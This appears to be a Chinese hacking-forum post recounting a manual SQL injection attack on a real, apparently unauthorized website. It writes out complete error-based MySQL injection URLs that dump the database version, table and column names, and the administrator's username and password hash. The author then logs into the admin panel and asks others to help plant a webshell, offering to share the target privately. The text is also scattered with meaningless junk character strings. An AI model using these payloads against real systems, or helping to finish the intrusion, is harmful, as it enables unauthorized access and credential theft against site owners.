近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
( j# C( W* \5 i X2 B) f: U. l首先找到网站后台,加了个admin,后台出来了 ' ^3 N( L! a. |0 y2 H$ {
6 _0 q. h# X2 x3 V# M# x
- ^3 D# c$ ~' U. t! |# A" q然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
* W" m1 z( {* O% s( Y# ]7 _, dhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
H4 t. B/ z; Z" i5 K, R- }7 a0 c! h4 k' L8 x! g
; h8 g+ f. Z# b( B5 o+ n+ Z# R& `0 m1 m# N0 ^! ]4 S# e- W1 D4 {
# d1 u! d0 X, H3 Z- {- R3 A+ j
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg$ J, D2 E4 n; Y* q# j
% N6 Y6 L6 q+ B
6 y! {) _: U$ b8 W3 g. Y
! `' h8 ]2 G: U5 t$ u( U
" W! |6 l$ D& |& w" i3 O2 R可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
* r, [6 j. `! u/ M+ w
$ X- K9 y: m1 D- E) p
- u5 D$ r2 p3 U8 V" ~. y% S9 n, Xhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg- K# y" l* p8 s& L
+ K' r% W) O* S2 a$ g) Z2 l1 }
* t* A- E; h2 j4 T0 l 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
% ~! y6 n8 N1 [1 C5 @
% ?' Z7 w( n; R5 w8 H+ z
, l: j. D) O1 Z- r( F! c7 E8 R
: i5 |4 X( l1 F% z5 P! a$ {3 l; J A! a 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--2 H7 R' h( j' q5 Z8 v* R
1 \- x2 a L2 ]' a0 N2 z9 e5 S, l' [; x8 c
- Z% U! W8 \1 ?6 N: q 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |